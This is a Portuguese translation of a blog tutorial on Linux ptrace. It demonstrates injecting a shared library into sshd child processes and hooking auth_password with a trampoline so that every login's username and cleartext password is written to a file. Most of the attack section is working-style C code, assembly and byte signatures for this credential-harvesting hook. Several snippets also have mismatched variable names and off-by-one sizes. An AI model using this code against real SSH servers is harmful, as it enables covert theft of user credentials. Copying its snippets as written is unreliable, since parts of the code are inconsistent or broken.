Uma introdução ao ptrace ou injeção de código no sshd por diversão



O objetivo que estabeleci era muito simples: aprender a senha inserida no sshd usando o ptrace. Obviamente, essa é uma tarefa um tanto artificial, já que existem muitas outras maneiras mais eficazes de alcançar o que você deseja (e com uma probabilidade muito menor de obter SEGV ); no entanto, me pareceu legal fazer exatamente isso.

O que é ptrace?


Aqueles que estão familiarizados com as injeções no Windows provavelmente conhecem as funções VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() e CreateRemoteThread() . Essas chamadas permitem alocar memória e iniciar threads em outro processo. No mundo linux, o kernel nos fornece ptrace , graças ao qual depuradores podem interagir com o processo em execução.

O Ptrace oferece várias operações úteis de depuração, por exemplo:

  • PTRACE_ATTACH - permite ingressar em um único processo, pausando um processo depurado
  • PTRACE_PEEKTEXT - permite ler dados do espaço de endereço de outro processo
  • PTRACE_POKETEXT - permite gravar dados no espaço de endereço de outro processo
  • PTRACE_GETREGS - Lê o estado atual dos registros do processo
  • PTRACE_SETREGS - registra o estado dos registros do processo
  • PTRACE_CONT - continua a execução do processo depurado

Embora essa não seja uma lista completa dos recursos do ptrace, no entanto, encontrei dificuldades devido à falta de funções familiares do Win32. Por exemplo, no Windows, você pode alocar memória em outro processo usando a função VirtualAllocEx() , que retorna um ponteiro para a memória recém-alocada. Como isso não existe no ptrace, você deve improvisar se quiser incorporar seu código em outro processo.

Bem, então, vamos pensar em como assumir o controle de um processo usando o ptrace.

Noções básicas do Ptrace


A primeira coisa que devemos fazer é ingressar no processo de seu interesse. Para fazer isso, basta chamar ptrace com o parâmetro PTRACE_ATTACH:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

Essa chamada é simples como um engarrafamento, aceita o PID do processo que queremos ingressar. Quando uma chamada ocorre, um sinal SIGSTOP é enviado, o que força o processo de interesse a parar.

Após ingressar, há um motivo para salvar o estado de todos os registros antes de começarmos a mudar alguma coisa. Isso nos permitirá restaurar o programa posteriormente:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

Em seguida, você precisa encontrar um lugar onde possamos escrever nosso código. A maneira mais fácil é extrair informações do arquivo de mapas, que podem ser encontradas nos procfs para cada processo. Por exemplo, "/ proc / PID / maps" em um processo sshd em execução no Ubuntu se parece com isso:



Precisamos encontrar a área de memória alocada com o direito de executar (provavelmente "r-xp"). Assim que encontrarmos a área que mais nos convém, por analogia com os registros, salvamos o conteúdo, para que posteriormente possamos restaurar corretamente o trabalho:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

Usando o ptrace, você pode ler uma palavra de dados da máquina (32 bits em x86 ou 64 bits em x86_64) no endereço especificado, ou seja, para ler mais dados, é necessário fazer várias chamadas, aumentando o endereço.

Nota: no linux também existem process_vm_readv () e process_vm_writev () para trabalhar com o espaço de endereço de outro processo. No entanto, neste artigo, continuarei com o uso do ptrace. Se você quiser fazer algo diferente, é melhor ler sobre essas funções.

Agora que fizemos o backup da área de memória de que gostamos, podemos começar a sobrescrever:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

Como PTRACE_PEEKTEXT, esta chamada pode registrar apenas uma palavra de máquina por vez no endereço especificado. Além disso, escrever mais de uma palavra de máquina exigirá muitas chamadas.

Depois de carregar seu código, você precisa transferir o controle para ele. Para não sobrescrever os dados na memória (por exemplo, a pilha), usaremos os registradores salvos anteriormente:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

Por fim, podemos continuar a execução com PTRACE_CONT:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

Mas como sabemos que nosso código terminou de executar? Usaremos uma interrupção de software, também conhecida como instrução "int 0x03" que gera o SIGTRAP. Vamos esperar por isso com waitpid ():

 waitpid(pid, &status, WUNTRACED); 

waitpid () - uma chamada de bloqueio que aguardará o processo parar com o identificador PID e gravará o motivo da parada na variável de status. Aqui, a propósito, existem várias macros que simplificarão a vida para descobrir o motivo da parada.

Para descobrir se houve uma parada devido ao SIGTRAP (devido à chamada int 0x03), podemos fazer o seguinte:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

Nesse ponto, nosso código incorporado já foi executado e tudo o que precisamos fazer é restaurar o processo ao seu estado original. Restaure todos os registros:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

Em seguida, retornaremos os dados originais na memória:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

E desconecte-se do processo:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

Isso é teoria suficiente. Vamos para a parte mais interessante.

Injeção de sshd


Eu tenho que avisar que existe alguma chance de descartar o sshd, portanto, tenha cuidado e não tente verificar isso no sistema em funcionamento e, especialmente, no sistema remoto via SSH: D

Além disso, existem várias maneiras melhores de obter o mesmo resultado. Eu demonstro essa apenas como uma maneira divertida de mostrar o poder do ptrace (concordo que isso é melhor do que injetar no Hello World;)

A única coisa que eu queria fazer era obter a combinação de senha de login executando sshd quando o usuário é autenticado. Ao visualizar o código fonte, podemos ver algo como isto:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

Parece um ótimo local para tentar remover o nome de usuário / senha transmitidos pelo usuário em texto não criptografado.

Queremos encontrar uma assinatura de função que nos permita encontrar sua [função] na memória. Eu uso o meu utilitário de desmontagem favorito, radare2:



É necessário encontrar uma sequência de bytes que seja exclusiva e ocorra apenas na função auth_password. Para fazer isso, usaremos a pesquisa no radare2:



Aconteceu que a sequência xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 nossos requisitos e é encontrado apenas uma vez no arquivo ELF inteiro.

Como observação ... Se você não possui essa sequência, verifique se possui a versão mais recente, que também fecha a vulnerabilidade de meados de 2016. (Na versão 7.6, essa sequência também é única - aprox. Por.)

O próximo passo é a injeção de código.

Baixar .so para sshd


Para carregar nosso código no sshd, criaremos um pequeno stub que nos permitirá chamar dlopen () e carregar uma biblioteca dinâmica que já implementará a substituição de "auth_password".

dlopen () é uma chamada para vinculação dinâmica, que pega o caminho para a biblioteca dinâmica em argumentos e o carrega no espaço de endereço do processo de chamada. Esta função está localizada no libdl.so, que se vincula dinamicamente ao aplicativo.

Felizmente, no nosso caso, o libdl.so já está carregado no sshd, então precisamos apenas executar o dlopen (). No entanto, devido ao ASLR, é muito improvável que o dlopen () esteja sempre no mesmo local, portanto, é necessário encontrar o endereço na memória sshd.

Para encontrar o endereço da função, você precisa calcular o deslocamento - a diferença entre o endereço da função dlopen () e o endereço inicial do libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

Agora que calculamos o deslocamento, precisamos encontrar o endereço inicial do libdl.so no arquivo de mapas:



Conhecendo o endereço base do libdl.so no sshd (0x7f0490a0d000, como segue na captura de tela acima), podemos adicionar um deslocamento e fazer com que o endereço dlopen () chame a partir do código de injeção.

Passaremos todos os endereços necessários pelos registradores usando PTRACE_SETREGS.

Também é necessário gravar o caminho para a biblioteca implantada no espaço de endereço sshd, por exemplo:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

Fazendo o máximo possível durante a preparação da injeção e carregando os ponteiros para os argumentos diretamente nos registros, podemos facilitar o código da injeção. Por exemplo:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

Ou seja, a injeção de código é bastante simples:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

É hora de criar nossa biblioteca dinâmica, que será carregada com o código de injeção.

Antes de prosseguirmos, considere uma coisa importante que será usada ... O construtor de biblioteca dinâmica.

Construtor em bibliotecas dinâmicas


Bibliotecas dinâmicas podem executar código após o carregamento. Para fazer isso, marque as funções com o decodificador "__atributo __ ((construtor))". Por exemplo:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

Você pode copiar usando um comando simples:

 gcc -o test.so --shared -fPIC test.c 

E depois verifique o desempenho:

 dlopen("./test.so", RTLD_LAZY); 

Quando a biblioteca carregar, o construtor também será chamado:



Também usamos essa funcionalidade para facilitar nossa vida ao injetar código no espaço de endereço de outro processo.

Biblioteca dinâmica sshd


Agora que temos a oportunidade de carregar nossa biblioteca dinâmica, precisamos criar um código que altere o comportamento de auth_password () em tempo de execução.

Quando nossa biblioteca dinâmica é carregada, podemos encontrar o endereço inicial do sshd usando o arquivo "/ proc / self / maps" em procfs. Estamos procurando uma área com permissões "rx" na qual procuraremos uma sequência única em auth_password ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

Como temos vários endereços para pesquisar, procuramos uma função:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

Quando encontramos uma correspondência, você deve usar mprotect () para alterar as permissões na área de memória. Isso ocorre porque a área da memória é legível e executável e são necessárias permissões de gravação para alterações em movimento:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

Bem, temos o direito de escrever na área de memória desejada e agora é hora de adicionar um pequeno trampolim no início da função auth_password, que passará o controle para o gancho:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

Isso é equivalente a este código:

 mov rax, 0x4142434445464748 jmp rax 

Obviamente, o endereço 0x4142434445464748 não é adequado para nós e será substituído pelo endereço do nosso gancho:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

Agora podemos apenas inserir nosso trampolim no sshd. Para tornar a injeção bonita e limpa, insira o trampolim no início da função:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

Agora temos que implementar um gancho que lide com o registro de dados que passam. Devemos ter certeza de que salvamos todos os registros antes do início do gancho e restauramos antes de retornar ao código original:

Código fonte do gancho
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


Bem, isso é tudo ... de certa forma ...

Infelizmente, depois de tudo o que foi feito, isso não é tudo. Mesmo se a injeção do código sshd falhar, você pode perceber que as senhas de usuário que você está procurando ainda não estão disponíveis. Isso ocorre porque o sshd para cada conexão cria um novo filho. É a nova criança que processa a conexão e é nele que devemos pôr o gancho.

Para ter certeza de que estamos trabalhando com filhos sshd, decidi procurar procfs em busca de arquivos de estatísticas que especificam o pai PID sshd. Assim que esse processo é encontrado, o injetor inicia para ele.

Existem até vantagens nisso. Se tudo der errado e a injeção de código cair do SIGSEGV, apenas o processo de um usuário será eliminado, e não o processo sshd pai. Não é o maior consolo, mas claramente torna a depuração mais fácil.

Injeção em ação


Ok, vamos ver a demonstração:



O código completo pode ser encontrado aqui .

Espero que esta viagem tenha lhe dado informações suficientes para se intrometer.

Quero agradecer às seguintes pessoas e sites que ajudaram a lidar com o ptrace:

Source: https://habr.com/ru/post/pt430302/


All Articles